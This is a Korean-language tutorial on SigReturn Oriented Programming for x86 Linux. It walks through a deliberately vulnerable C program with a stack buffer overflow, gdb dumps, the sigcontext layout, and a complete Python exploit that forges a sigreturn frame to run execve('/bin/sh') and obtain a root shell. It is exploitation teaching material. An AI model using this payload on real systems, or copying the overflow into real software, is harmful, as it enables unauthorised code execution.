SigReturn Oriented Programming

ICEWALL
이유진(NULL0)

보통 exploit을 할 때 주로 ROP(Return oriented programming)을 사용하게된다. 그러나, 가젯이 충분하여 register를 원하는대로 조작할 수 있다면 좋지만 그렇지 않은 경우가 있다. 그 때 사용할 수 있는 방법이 이 SROP이다.
SROP는 ROP와 다르게 많은 가젯이 필요하지않다. 이것을 이용하면 간단한 동작은 EAX레지스터를 제어와 INT 80 가젯만 있으면 가능하다.

SROP는 sigreturn이라는 system call을 이용한 기법이고 UNIX계열의 모든 환경에서 적용할 수 있다.

sigreturn system call는 시그널을 받은 프로세스가 커널모드로 동작한 후에 유저모드로 돌아올때 사용하는 system call이다. 자세한 동작으로는 sigcontext에 등록되있는 구조체대로 현재 esp에서 pop한다.

예시는 x86 LINUX로 들겠다.

```
void int80()            // int 80 가젯을 쓰기 위해 만들었다.
{
        asm("int $0x80");
}


void main()
{
        char buf[8];

        read(0, buf, 128);

}
```

취약점이 발생하는 환경이다.
read함수를 통해 eax레지스터를 조작할 수 있고, int 80 가젯또한 사용할 수 있다.

sigreturn 함수의 system call number는 unistd_32.h에 적혀있다.

```
#define __NR_sigreturn 119
```

따라서, 119개의 문자를 입력하고 int $0x80으로 ret하게되면 sigreturn 함수가 호출된다.

```
(gdb) disas main
Dump of assembler code for function main:
   0x08048413 <+0>:     push   %ebp
   0x08048414 <+1>:     mov    %esp,%ebp
   0x08048416 <+3>:     and    $0xfffffff0,%esp
   0x08048419 <+6>:     sub    $0x20,%esp
   0x0804841c <+9>:     movl   $0x80,0x8(%esp)
   0x08048424 <+17>:    lea    0x18(%esp),%eax
   0x08048428 <+21>:    mov    %eax,0x4(%esp)
   0x0804842c <+25>:    movl   $0x1,(%esp)
   0x08048433 <+32>:    call   0x80482f0 <read@plt>
   0x08048438 <+37>:    leave
   0x08048439 <+38>:    ret
End of assembler dump.
```

```
(gdb) x/40wx $esp
0xbffff4d0:     0x00000001      0xbffff4e8      0x00000080      0xbffff4f8
0xbffff4e0:     0xb7e8e7f5      0xb7ff0590      0x0804845b      0xb7fbeff4
0xbffff4f0 :    0x08048450      0x00000000      0xbffff578      0xb7e75e46 <- ret
0xbffff500 :    0x00000001      0xbffff5a4      0xbffff5ac      0xb7fe0860
```

첫 ret을 덮기 위해서 20개의 dummy가 필요하다.
일단 sigreturn의 동작을 보기위해 아무값이나 119개 넣고 int $0x80으로 ret시키겠다.

```
(gdb) x/i $eip
=> 0x80480f <int80+3>:  int    $0x80
(gdb) i r
eax            0x77     119
ecx            0xbffff4e8       -1073744664
edx            0x80     128
ebx            0xb7fbeff4       -1208225804
esp            0xbffff500       0xbffff500
ebp            0x30393837       0x30393837
esi            0x0      0
edi            0x0      0
eip            0x80480f         0x80480f <int80+3>
eflags         0x203    [ CF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
```

```
(gdb) x/40wx $esp
0xbffff500:     0x31313131      0x32323232      0x33333333      0x34343434
0xbffff510:     0x35353535      0x36363636      0x37373737      0x38383838
0xbffff520:     0x39393939      0x30303030      0x32313231      0x33313331
0xbffff530:     0x34313431      0x35313531      0x36313631      0x37313731
0xbffff540:     0x38313831      0x39313931      0x30323032      0x31323132
0xbffff550:     0x33323332      0x34323432      0x35323532      0x080a3632
0xbffff560:     0x00000000      0xb7ff59c0      0xb7e75d6b      0xb7ffeff4
0xbffff570:     0x00000001      0x08048320      0x00000000      0x08048341
0xbffff580:     0x08048413      0x00000001      0xbffff5a4      0x08048450
0xbffff590:     0x08048440      0xb7ff0590      0xbffff59c      0xb7fff908
(gdb) ni
Cannot access memory at address 0x38383838
(gdb) i r
eax            0x0      0
ecx            0x32313231       842084913
edx            0x30303030       808464432
ebx            0x39393939       960051513
esp            0x38383838       0x38383838
ebp            0x37373737       0x37373737
esi            0x36363636       909522486
edi            0x35353535       892679477
eip            0x36313631       0x36313631
eflags         0x10a13  [ CF AF IF OF RF ]
cs             0x3733   14131
ss             0x3033   12339
ds             0x3434   13364
es             0x3333   13107
fs             0x3232   12850
gs             0x0      0
```

보시다시피 스택에 들어있는 값들이 레지스터로 들어가게된다. eip까지!
(eax, gs가 0인 것은 segment register를 제대로 설정하지 않아서라고 한다.)
스택의 값이 어떤순으로 들어가는지는 sigcontext.h의 구조체를 참조하면 알 수 있다.

```
sigcontext.h

struct sigcontext {
        unsigned short gs, __gsh;
        unsigned short fs, __fsh;
        unsigned short es, __esh;
        unsigned short ds, __dsh;
        unsigned long edi;
        unsigned long esi;
        unsigned long ebp;
        unsigned long esp;
        unsigned long ebx;
        unsigned long edx;
        unsigned long ecx;
        unsigned long eax;
        unsigned long trapno;
        unsigned long err;
        unsigned long eip;
        unsigned short cs, __csh;
        unsigned long eflags;
        unsigned long esp_at_signal;
        unsigned short ss, __ssh;
        struct _fpstate *fpstate;
        unsigned long oldmask;
        unsigned long cr2;
};
```

이제 간단한 페이로드를 짜보도록 하겠다. execve함수를 통해 /bin/sh을 호출하는!
원래는 "/bin/sh" 또한 read를 통해서 써야하지만 지금은 SROP에 대한 문서이기 때문에 문자열을 프로그램 내부에 작성해놓았다.

srop_exploit.py

```
from struct import pack

payload = ""

payload += "A"*20                   # dummy
payload += pack("<L",0x08048480)    # RET
payload += pack("<L",0x00000033)    # GS
payload += pack("<L",0x00000000)    # FS
payload += pack("<L",0x0000007b)    # ES
payload += pack("<L",0x0000007b)    # DS
payload += pack("<L",0x00000000)    # EDI
payload += pack("<L",0x00000000)    # ESI
payload += pack("<L",0x08049800)    # EBP
payload += pack("<L",0x08049700)    # ESP
payload += pack("<L",0x08049694)    # EBX # /bin/sh
payload += pack("<L",0x00000000)    # EDX
payload += pack("<L",0x00000000)    # ECX
payload += pack("<L",0x0000000b)    # EAX # execve의 system call number
payload += pack("<L",0x00000000)    # trapno
payload += pack("<L",0x00000000)    # err
payload += pack("<L",0x0804840f)    # EIP # 다시 int $0x80을 가리킴.
payload += pack("<L",0x00000073)    # CS
payload += pack("<L",0x00000246)    # eflags
payload += pack("<L",0x00000000)    # esp_at_signal
payload += pack("<L",0x0000007b)    # SS
payload += "\x00"*(118-len(payload))

print payload
```

```
root@Passion:~/Desktop# (python srop_exploit.py ; cat) | ./srop
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/root/Desktop
```

이렇게 int $0x80과 eax조작 가능하면 별 다른 가젯 없이도 쉘을 딸 수 있다.

결론 : SROP가 ROP보다 편함 (조건만 맞춰져 있다면)

reference:

[PDF] Framing Signals—A Return to Portable Shellcode
http://0x36.blogspot.kr/2014/06/sigreturn-rop-exploitation-technique.html